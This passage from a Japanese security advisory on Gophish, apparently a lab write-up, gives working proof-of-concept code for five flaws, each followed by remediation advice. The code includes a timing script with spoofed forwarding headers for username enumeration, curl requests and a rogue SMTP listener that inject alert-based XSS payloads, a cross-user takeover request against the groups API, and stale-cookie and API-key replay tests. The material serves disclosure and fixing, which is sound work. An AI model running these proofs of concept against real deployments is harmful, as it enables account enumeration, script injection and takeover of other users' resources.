    &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;measure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SAMPLES&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;spoofed_ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"198.51.100.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_suffixes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;started&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;BASE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"not-the-password"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"csrf_token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"Origin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://127.0.0.1:3333"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"Referer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BASE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"X-Forwarded-For"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;spoofed_ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"X-Real-IP"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;spoofed_ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt;
        &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;started&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;measure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;16&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; median=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;.4f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s samples=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;検証環境では、既知のユーザーの分岐は一貫して遅いクラスターに位置しました。パスワードハッシュの検証に到達する一方、未知のユーザーの分岐はデータベースの検索後に戻っていたためです。インターネットに公開された環境でのタイミングの結果は、繰り返しの測定でネットワークのノイズを考慮しない限り、決定的ではないものとして扱ってください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：未知のユーザーも含め、固定のダミーbcryptハッシュを使って常にパスワードハッシュの比較を実行します。そのうえで、ログインハンドラーの開始時点から測定した共通のレスポンス下限時間を使い、検索やレンダリングの違いが信頼できるオラクルを生まないようにします。メッセージ、ステータスコード、リダイレクト、レート制限の挙動は同一に保ちます。リグレッションのベンチマークでは、両方の分岐でハッシュ比較に到達することを検証し、分布が有意に分離可能になった場合にアラートを出すようにします。&lt;/p&gt;
&lt;h3 id="3. インポートされた受信者フィールドからの格納型xss"&gt;3. インポートされた受信者フィールドからの格納型XSS&lt;/h3&gt;
&lt;p&gt;ローカルのAPIを通じて、無害なHTMLペイロードを含む合成グループを作成します。レスポンスから、その値が受信者データとして受け付けられることがわかります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-ksS&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/api/groups/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$OWNER_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;    "name": "lab-csv-template-xss",&lt;/span&gt;
&lt;span class="s1"&gt;    "targets": [{&lt;/span&gt;
&lt;span class="s1"&gt;      "email": "recipient@example.test",&lt;/span&gt;
&lt;span class="s1"&gt;      "first_name": "&amp;lt;img src=x onerror=alert(\"recipient-field\")&amp;gt;",&lt;/span&gt;
&lt;span class="s1"&gt;      "last_name": "Lab",&lt;/span&gt;
&lt;span class="s1"&gt;      "position": "Test"&lt;/span&gt;
&lt;span class="s1"&gt;    }]&lt;/span&gt;
&lt;span class="s1"&gt;  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;UIで同等の手順を行うには、同じ値を&lt;code&gt;First Name&lt;/code&gt;に入れて一括インポートし、&lt;code&gt;{{.FirstName}}&lt;/code&gt;を含むランディングページを作成し、そのグループとページを使ってキャンペーンを作成し、生成されたリンクを使い捨てのローカルブラウザープロファイルで開きます。脆弱な場合に期待される結果は、フィッシング用ランディングページのオリジンで&lt;code&gt;alert("recipient-field")&lt;/code&gt;のダイアログが表示されることです。これは管理パネルの実行コンテキストではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：出力コンテキストを主要な制御にします。ランディングページのHTMLは&lt;code&gt;html/template&lt;/code&gt;でレンダリングし、プレーンテキストには別のレンダラーを使い、URLやヘッダーで使われる値を検証し、システムが生成した断片だけを信頼できるHTMLとしてマークします。共有のテンプレート関数は、メール本文、URL、ヘッダー、添付ファイルも処理するため、やみくもに切り替えることはできません。CSV入力のパースや正規化は多層防御になり得ますが、シンクにおけるコンテキストに応じたエンコーディングの代わりにしてはなりません。サポートされているすべての受信者フィールドを、HTMLのテキスト、属性、URL、JavaScriptが関わる位置でテストします。&lt;/p&gt;
&lt;h3 id="4. smtpエラーによる格納型および反射型xss"&gt;4. SMTPエラーによる格納型および反射型XSS&lt;/h3&gt;
&lt;p&gt;このローカルのSMTPリスナーは、&lt;code&gt;RCPT TO&lt;/code&gt;に対して無害な証明用ペイロードを返します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# rogue_smtp.py -- local validation only&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;socket&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2525&lt;/span&gt;
&lt;span class="n"&gt;PAYLOAD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;"554 &amp;lt;img src=x onerror=alert('smtp-error')&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setsockopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOL_SOCKET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SO_REUSEADDR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;"220 local test SMTP&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
            &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"utf-8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ignore"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;"EHLO"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"HELO"&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
                &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;"250 local test&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"MAIL FROM"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;"250 OK&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"RCPT TO"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAYLOAD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;"250 OK&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;リスナーを起動し、&lt;code&gt;127.0.0.1:2525&lt;/code&gt;向けのローカル専用の送信プロファイルを設定してから、両方の検証を実施します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;テストキャンペーンを開始し、その結果を開き、失敗した受信者を展開して、&lt;code&gt;Error Sending Email&lt;/code&gt;イベントを確認します。格納型の経路では、SMTPエラーがキャンペーンのタイムラインにレンダリングされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Campaigns &amp;rarr; New Campaign&lt;/strong&gt;で同じプロファイルを選択し、&lt;strong&gt;Send Test Email&lt;/strong&gt;を使用します。反射型の経路では、返されたSMTPエラーがモーダルにレンダリングされます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sending Profilesのテストメール画面は、有用なネガティブコントロールになります。この画面はすでに&lt;code&gt;escapeHtml()&lt;/code&gt;を適用しており、ペイロードを実行せずにテキストとして表示するはずです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：すべてのSMTPエラーをテキストとして扱います。すべてのDOMシンクで&lt;code&gt;textContent&lt;/code&gt;、jQueryの&lt;code&gt;.text()&lt;/code&gt;、または一貫して適用されるエスケープのヘルパーを使い、プロトコルのエラーテキストを決してHTMLに連結しないでください。同じルールを、キャンペーンの開始、コピー、テストメールのエラーハンドラーにも適用します。永続化前のエスケープは価値のある多層防御ですが、安全なレンダリングの代わりにはなりません。長期間有効なAPI認証情報をブラウザーのグローバル変数から取り除き、ブラウザーレベルのテストで、マークアップ風のSMTPエラーが一つのテキストノードになり、実行可能な要素を作らないことをアサートします。&lt;/p&gt;
&lt;h3 id="5. 作成用エンドポイントのアップサートによるユーザー間の乗っ取り"&gt;5. 作成用エンドポイントのアップサートによるユーザー間の乗っ取り&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;lab-owner&lt;/code&gt;としてグループを作成し、返された数値の&lt;code&gt;id&lt;/code&gt;を&lt;code&gt;GROUP_ID&lt;/code&gt;として保存してから、&lt;code&gt;lab-user&lt;/code&gt;としてその識別子を含む作成リクエストを送信します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;GROUP_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# replace with the id of a synthetic lab-owner group&lt;/span&gt;

curl&lt;span class="w"&gt; &lt;/span&gt;-ksS&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/api/groups/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$USER_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;
&lt;span class="s2"&gt;    \"id\": &lt;/span&gt;&lt;span class="nv"&gt;$GROUP_ID&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;    \"name\": \"lab-taken-over-group\",&lt;/span&gt;
&lt;span class="s2"&gt;    \"targets\": []&lt;/span&gt;
&lt;span class="s2"&gt;  }"&lt;/span&gt;

curl&lt;span class="w"&gt; &lt;/span&gt;-ksS&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/api/groups/&lt;/span&gt;&lt;span class="nv"&gt;$GROUP_ID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$OWNER_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;脆弱な場合の結果は、&lt;code&gt;lab-user&lt;/code&gt;に対しては作成成功のレスポンス、元の所有者に対しては&lt;code&gt;404&lt;/code&gt;になります。同じ2ユーザーのテストを、各リソースに有効な合成ボディを使って、&lt;code&gt;POST /api/templates/&lt;/code&gt;、&lt;code&gt;POST /api/pages/&lt;/code&gt;、&lt;code&gt;POST /api/smtp/&lt;/code&gt;に対しても繰り返します。グループの場合は、所有権の変更後も、以前に関連付けられていた合成ターゲットが読み取り可能なままであることも検証します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：作成と更新の操作を構造的に区別します。すべてのPOSTハンドラーでクライアントが指定したIDを拒否し、モデルレイヤーでは明示的な挿入のセマンティクス（&lt;code&gt;db.Create&lt;/code&gt;）を使います。読み取り、更新、削除には所有者スコープの述語を維持します。GETだけの所有者チェックでは、スコープされていない書き込みは保護されません。リグレッションスイートでは、影響を受けるすべてのリソースを2人のユーザーでカバーし、他のユーザーのIDを含むPOSTが、所有者、コンテンツ、関連付けのいずれも変更しないことをアサートしなければなりません。&lt;/p&gt;
&lt;h3 id="6. アカウントイベント後のセッションとapiキーの存続"&gt;6. アカウントイベント後のセッションとAPIキーの存続&lt;/h3&gt;
&lt;p&gt;ローカルのブラウザーまたはプロキシを使って、有効な&lt;code&gt;gophish&lt;/code&gt;セッションCookieを保存します。その後、3つのライフサイクルのケースを検証します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ブラウザーでログアウトし、ログアウト前のCookieを&lt;code&gt;/&lt;/code&gt;へのリクエストで再送して、&lt;code&gt;/login&lt;/code&gt;にリダイレクトされずにダッシュボードが利用可能なままであることを確認します。&lt;/li&gt;
&lt;li&gt;有効なCookieを保存し、&lt;strong&gt;Settings&lt;/strong&gt;からアカウントのパスワードを変更した後、変更前のCookieを&lt;code&gt;/&lt;/code&gt;に対して再送し、受け付けられたままであることを確認します。&lt;/li&gt;
&lt;li&gt;アカウントのAPIキーを記録し、&lt;strong&gt;Settings&lt;/strong&gt;または強制リセットのフローでパスワードを変更し、古いキーで無害なAPIリソースをリクエストします。パスワード変更でキーがローテーションされないため、古いキーは受け付けられたままです。&lt;/li&gt;
&lt;/ol&gt;
